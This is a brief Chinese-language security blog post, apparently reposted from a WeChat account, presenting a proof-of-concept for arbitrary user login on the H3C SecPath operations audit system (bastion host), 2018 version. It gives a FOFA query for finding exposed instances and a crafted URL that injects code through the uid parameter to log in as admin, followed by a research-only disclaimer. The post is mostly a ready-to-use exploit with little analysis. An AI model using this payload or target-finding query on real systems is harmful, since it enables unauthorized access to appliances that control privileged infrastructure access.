H3CSecPath堡垒机任意用户登录 POC

2025年3月10日09:37:53评论39 views字数 374阅读1分14秒阅读模式

H3C-SecPath-运维审计系统(堡垒机)任意用户登录

H3C SecPath 运维审计系统是基于用户现阶段面临的运维难题提出的一款运维风险管控产品。攻击者可通过输入特殊 url，达到任意用户登录的目的。

FOFA：

app="H3C-SecPath-运维审计系统"

影响版本：2018

PoC:

http://target/audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=admin

ref：

https://nox.qianxin.com/vulnerability/detail/97202

原文始发于微信公众号（骇客安全）：H3CSecPath堡垒机任意用户登录

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。

本文由 admin 发表于 2025年3月10日09:37:53
转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
H3CSecPath堡垒机任意用户登录 POChttps://cn-sec.com/archives/3818891.html
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.